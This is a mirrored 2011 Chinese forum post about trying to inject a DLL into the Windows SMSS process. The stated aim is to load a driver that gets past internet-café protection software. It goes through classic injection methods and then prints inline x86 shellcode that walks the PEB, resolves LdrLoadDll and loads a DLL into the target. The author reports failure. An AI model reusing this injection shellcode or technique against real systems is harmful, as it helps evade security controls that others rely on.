返回信息流不知道最近怎么,想到去以注入的方式来过些XX软件,不过收效甚微。注入是个老技术了,不过貌似还是很有市场,貌似不用的话有的东西也没法活。
之前看到有人说道注入SMSS来加载驱动,我本是想尝试来网吧玩的,于是很有兴趣的想试验下。于是长达1天2夜的SMSS注入就开始了,可是最后的结果,哎,只能用悲剧形容。。。
首先SMSS是个很特殊的进程,其实它是个内核下的进程,由内核启动。它只有一个DLL——NTDLL
再来说说传统的注入吧:
1、SetWindowsHookEx。不可能,因为没窗口。
2、CreateRemoteThread。最后证明不可能,其实一开始我就觉得不可能,SMSS“几乎”(注意这个词)没有线程切换之类的,但是后来有个高手网友建议用LdrLoadDll...LdrLoadDll我是实现了(换别的都行),但是ShellCode死活在SMSS中跑不了。而且后来我在网上找到一个外文资料介绍这函数就点名道姓说道"exclude SMSS..."
3、SetThreadContext。不可能,原因基本同上。
4、注册表。其实我觉得这是最有可能的了,但是无奈我知道的都不可能,不过有传言说可以,比如某版鸽子就是这么玩的。我希望,有人可以交流下
5、内核模式,这个貌似可以,但是我觉得好像我就是过驱动加载吧?鸡蛋问题。
最后还是那个网友,提到用Patch的办法,我后来是用的inline,方式是直接ShellCode注入的,大概如下,运行时候修改些玩意:
__asm
{
pushad
pushfd // 保护现场
//这些还原代码由外部进行初始化
mov eax,0xEEEEEEEE
mov bl,0xFF //存五个字节的内容
mov edx,0xDDDDDDDD //存需要写东西的地址
mov [edx],eax
mov byte ptr [edx+4],bl
//这些代码最后会重新初始化的
mov eax,fs:[0x30]
mov eax,dword ptr [eax+0x0c] // Ldr : _PEB_LDR_DATA
mov eax,dword ptr [eax+0x1c] // InInitializationOrderModuleList : _LIST_ENTRY
mov eax,dword ptr [eax+0x08] // EntryInProgress
mov edi,eax // edi = ntdll.dll首地址
mov eax,dword ptr [edi+3ch] // eax = PE首部
mov edx,dword ptr [eax+edi+78h]
add edx,edi // edx = 引出表地址
mov ecx,dword ptr [edx+18h] // ecx = 输出函数的个数(NumberOfNames)
mov ebx,dword ptr [edx+20h]
add ebx,edi // ebx = 函数名地址(AddressOfNames)
SEARCH:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
mov eax,0x4c72644c
cmp [esi],eax // 比较'LdrL'
jne SEARCH
mov eax,0x4464616f
cmp [esi+4],eax // 比较'oadD'
jne SEARCH
cmp word ptr [esi+8],0x6c6c // 比较'll'
jne SEARCH
// 如果是LdrLoadDll(表明地址已找到)
mov ebx,dword ptr [edx+24h]
add ebx,edi // ebx = 序号数组的地址
mov ecx,dword ptr [ebx+ecx*2] // ecx = 计算出序号值
and ecx,0x0000ffff
mov ebx,dword ptr [edx+1ch]
add ebx,edi // ebx = 函数地址起始位置
mov eax,dword ptr [ebx+ecx*4]
add eax,edi // eax = 利用序号值,得出LdrLoadDll的地址
//LdrLoadDllLdrLoadDll(NULL, 0, &uni_input, &hHandle);
// 先存入UNISTRING的值到内存中
push 0x00000000
push 0x006C006C
push 0x0064002E
push 0x00740073
push 0x00650074
mov edx,esp //edx = UNISTRING的数据
// 预留存储空间
sub esp,0x0c
mov dword ptr [esp+4],0x00120010 //10 00 12 00 (UNICODE前面两个字符)
mov [esp+8],edx
xor ecx,ecx
mov [esp],ecx //初始化OUT指针
push esp //PHANDLE ModuleHandle
mov ebx,esp
add ebx,8
push ebx //PUNICODE_STRING ModuleFileName
push 0 //ULONG Flags
push 0 //PWCHAR PathToFile
call eax
// 维持平衡
add esp,0x20 //0xc+5*4=32
popfd
popad // 还原现场
}
__asm
{
_emit 0x90 // 155
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 需要还原原始代码,我这里就是打为5个字节最好
_emit 0xE9 // 160
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
最后,就是SMSS怎么激活了,我发现个问题:就是需要设个开机密码,然后进入系统后5秒内点击我的程序,原因有点复杂,主要是这样会使得SMSS进行一次SmpApiLoop的线程切换,这样就给了你一个机会运行函数...虽然这是Ring3的办法,但是我觉得没什么意义了,如果要这样加载驱动,还必须保证没有还原卡(这是最麻烦的了)。
但是最后结果也很不理想,SMSS加载的DLL可能都得另写,不是随便乱写一个都行的,这就是证明,不过也是悲剧:
额,貌似最后发现,DLL需要写NATIVE的,暂时先也就这么着了吧:
这是一条镜像帖。来源:北邮人论坛 / security / #32146同步于 2011/4/12
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖
注入SMSS最后以失败告终
ColdZenLeft
2011/4/12镜像同步2 回复
订阅后,新回复会通过你的通知中心匿名送达。
2 条回复
过啥数字啊,我是想过网吧呢!
不过这玩意无实用价值了,几乎就是试验而已,玩玩如何Ring3注入SMSS而已...
真没啥用,做完了才发现,不过唯一的意义就是:无论怎么说,以前觉得不大靠谱的会话进程注入反正是可以的。虽然没有亲眼见过,但是就算亲身参与过吧。